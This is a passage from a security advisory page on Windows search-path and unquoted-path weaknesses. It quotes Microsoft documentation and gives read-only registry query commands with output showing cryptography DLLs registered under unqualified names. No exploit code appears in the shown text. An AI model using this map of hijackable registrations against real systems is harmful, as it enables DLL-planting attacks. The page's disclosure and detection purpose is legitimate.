Me, myself & IT

P(h)un Intended: Phamous Quotes, Phunny Spaces, Phancy Backslashes, plus Phorged Environment Variables, for a Phabulous Backlash

Purpose
Reason
Vendor Documentation
Background Information
Detection: Windows 10 2004 and 20H2, x64 alias AMD64 Processor Architecture; Windows 10 1903 and 1909, x86 alias I386 Processor Architecture
Demonstration: Exploit 0; Exploit 1; Exploit 2; Exploit 3; Exploit 4; Exploit 5
Vendor Statement
Mitigation

Purpose

Demonstrate (trivial but widespread) vulnerabilities of Microsoft^® Windows^™ resulting from exceptionally poor programming practise, ignorance, missing security awareness, plus failure to exercise trustworthy computing and defense in depth.

Note: these well-known weaknesses are documented as CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path, CWE-427: Uncontrolled Search Path Element and CWE-428: Unquoted Search Path or Element in the CWE^™, allowing well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC^™.

Reason

25 years after introducing long filenames, and despite their own copious documentation, Microsoft still ships Windows with vulnerable command lines missing (double) quotes as well as fully qualified (absolute) pathnames and COM classes registered with vulnerable unqualified filenames.
Additionally (user-controlled) environment variables are still used (not just) in command lines and the pathnames of COM classes.

The cause for the prevalence of these trivial to exploit vulnerabilities are careless, clueless and sloppy developers who are most obviously not aware of any security (implications) as well as their own company’s documentation, plus the total absence of any (serious) quality assurance and supervision!

Vendor Documentation

For one of the oldest still available documents see the MSKB article 102739:

Use quotation marks when specifying long filenames or paths with spaces.
[…]
Note that the quotation marks must be used.

In section ShellExecute, ShellExecuteEx, and Related Functions the MSDN article Security Considerations: Microsoft Windows Shell specifies:

Make sure you provide an unambiguous definition of the application that is to be executed.

When providing the executable file's path, provide the fully qualified path. Do not depend on the Shell to locate the file.

If you provide a command-line string that contains white space, wrap the string in quotation marks. Otherwise, the parser might interpret a single element that contains spaces as multiple elements.

In section Security Remarks the MSDN article WinExec function specifies:

The executable name is treated as the first white space-delimited string in lpCmdLine. If the executable or path name has a space in it, there is a risk that a different executable could be run because of the way the function parses spaces.

In section Shortcut Menu Verbs the MSDN article Verbs and File Associations specifies:

If any element of the command string contains or might contain spaces, it must be enclosed in quotation marks. Otherwise, if the element contains a space, it will not parse correctly. For instance, "My Program.exe" starts the application properly. If you use My Program.exe without quotation marks, then the system attempts to launch My with Program.exe as its first command line argument. You should always use quotation marks with arguments such as %1 that are expanded to strings by the Shell, because you cannot be certain that the string will not contain a space.

In section Registering an Open Verb the MSDN article Registering Programs with Client Types specifies:

The command line must specify a fully qualified absolute path to the file, followed by optional command-line options. If the entry type is REG_EXPAND_SZ, environment variables can be used in the path. Use quotation marks appropriately to ensure that spaces in the command line are not misinterpreted.

Above section Security Issues the MSDN article Registering an Application to a URI Scheme specifies:

When ShellExecute() executes the pluggable protocol handler with a string on the command line, any non-encoded spaces, quotes, and backslashes in the URI will be interpreted as part of the command line. This means that if you use C/C++'s argc and argv to determine the arguments passed to your application, the string may be broken across multiple parameters. To mitigate this issue:

Avoid spaces, quotes, or backslashes in your URI

Quote the %1 in the registration ("%1" as written in the 'alert' example registration)

In section Security Remarks the MSDN article CreateProcess function specifies:

If the executable or path name has a space in it, there is a risk that a different executable could be run because of the way the function parses spaces.

In section Parameters the MSDN article CreateService function specifies:

lpBinaryPathName [in, optional]

The fully qualified path to the service binary file. If the path contains a space, it must be quoted so that it is correctly interpreted. For example, "d:\\my share\\myservice.exe" should be specified as "\"d:\\my share\\myservice.exe\"".

At its bottom the MSDN article Self-Registration specifies:

The server must register the full path to the installation location of the DLL or EXE module for their respective InprocServer32, InprocHandler32, and LocalServer32 keys in the registry.

In section Remarks the MSDN article DefaultIcon specifies:

This is a REG_SZ value that specifies the full path to the executable name […]

In section Remarks the MSDN article LocalServer specifies:

Specifies the full path to a 16-bit local server application.

In section Remarks the MSDN article LocalServer32 specifies:

Specifies the full path to a 32-bit local server application.
[…]
The ServerExecutable value, which is of type REG_SZ and is supported starting with Windows Server 2003, works in conjunction with the LocalServer32 subkey to prevent any ambiguity when using the CreateProcess function. LocalServer32 specifies the location of the COM server application to launch, and this information is passed as the first parameter lpApplicationName for CreateProcess. Depending on the implementation of CreateProcess, this information might be ambiguous. For this reason, if ServerExecutable is specified, COM passes the ServerExecutable named value to the lpApplicationName parameter of CreateProcess. If ServerExecutable is not specified, COM passes NULL as the value for the first parameter of CreateProcess.
To help provide system security, use quoted strings in the path to indicate where the executable filename ends and the arguments begin.

Note: the MSDN articles InprocHandler, InprocHandler32, InprocServer, InprocServer32 and ToolBoxBitmap32 fail to specify the use of fully qualified (absolute) pathnames and need to be corrected!

Since COM in-process handlers and servers are implemented in DLLs, the MSDN article Dynamic-Link Library Security, the MSKB article 2389418, the Security Advisory 2269637 and the MSRC blog post Load Library Safely apply too:

Wherever possible, specify a fully qualified path when using the LoadLibrary, LoadLibraryEx, CreateProcess, or ShellExecute functions.

Use fully qualified paths for all calls to LoadLibrary, CreateProcess, and ShellExecute where you can.

This exploit may occur when applications do not directly specify the fully qualified path to a library it intends to load.

Always specify the fully qualified path when the library location is constant.

Background Information

Windows Vista^® and newer versions of Windows are shipped as (pre-built) generalised system images, designed to run from a single hard disk partition with the drive letter C assigned. All directories and files contained within these system images have fixed, language-independent (path)names and can neither be relocated nor renamed: see the MSKB articles 933700, 949977 and 2787623 for some details. Additionally the vast majority of files are (nowadays) registered with their absolute (fully qualified) pathname containing the (fixed) drive letter and the language-independent directory name, which renders their change or relocation practically impossible.

The use of environment variables within pathnames serves no (good) purpose, it is not just deprecated and superfluous, but outright dangerous, allowing attacks like those shown below in the first place, and must therefore be avoided and banned!

This holds of course against the use of environment variables in code too, where functions like GetAllUsersProfileDirectory(), GetComputerName(), GetComputerNameEx(), GetComputerObjectName(), GetProfilesDirectory(), GetSystemDirectory(), GetSystemWow64Directory(), GetUserName(), GetUserNameEx(), GetUserProfileDirectory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() are available to get at least the information provided in the environment variables %ALLUSERSPROFILE%, %APPDATA%, %CommonProgramFiles%, %CommonProgramFiles(x86)%, %COMPUTERNAME%, %LOCALAPPDATA%, %ProgramData%, %ProgramFiles%, %ProgramFiles(x86)%, %PUBLIC%, %SystemDrive%, %SystemRoot%, %USERDOMAIN%, %USERNAME% as well as %USERPROFILE%, which ~~should~~ must be used instead of functions like ExpandEnvironmentStrings(), ExpandEnvironmentStringsForUser() or GetEnvironmentVariable()!

Detection

Start the Command Processor and run the following command lines to find some command lines registered with unqualified filenames, with unquoted long pathnames containing spaces, with unquoted pathnames containing environment variables and with unquoted arguments.

Note: the command lines can be copied and pasted as blocks into the Command Processor window!

Note: offending parts of matching command lines are highlighted in the output.

Note: the search is far from exhaustive, it covers just the command lines returned from the FTYPE command, i.e. file types registered with the Verb Open, executables registered with COM classes, cryptography providers and Group Policy client side extensions!

Windows 10 2004 and 20H2, x64 alias AMD64 Processor Architecture

Cryptography providers:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /REG:64 /S /V "Dll"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /REG:64 /S /V "$DLL"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /REG:32 /S /V "Dll"
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography" /REG:32 /S /V "$DLL"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\AggregateSSLHandshakeTime\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\SecureTimeAggregator.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllLogMismatchPinRules\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16
    Dll    REG_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap
    Dll    REG_SZ    C:\Windows\System32\cryptnet.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllProtectedRootMessageBox\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllProtectPrompt\DEFAULT
    Dll    REG_MULTI_SZ    C:\Windows\System32\cryptui.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllCreateIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetCaps\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSealedDigest\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllIsMyFileType2\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{C689AABA-8E78-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{CF78C6DE-64A2-4799-B506-89ADFF5D16D6}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{D1D04F0C-9ABA-430D-B0E4-D7E96ACCE66C}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A42-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllPutSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{000C10F1-0000-0000-C000-000000000046}
    Dll    REG_SZ    C:\Windows\System32\MSISIP.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{06C9E010-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{0AC5DF4B-CE07-4DE2-B76E-23C839A09FD1}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{0F5F58B3-AADE-4B9A-A434-95742D92ECEB}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{1629F04E-2799-4DB5-8FE5-ACE10F17EBAB}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{1A610570-38CE-11D4-A2A3-00104BD35090}
    Dll    REG_SZ    C:\Windows\System32\wshext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{5598CFF1-68DB-4340-B57F-1CACF88C9A51}
    Dll    REG_SZ    C:\Windows\System32\AppxSip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    Dll    REG_SZ    C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{9BA61D3F-E73A-11D0-8CD2-00C04FC295EE}
    Dll    REG_SZ    WINTRUST.DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllRemoveSignedDataMsg\{9F3053C5-439D-4BF7-8A77-04F0450A1D9F}
    Dll    REG_SZ    C:\Windows\System32\EsdSip.dll

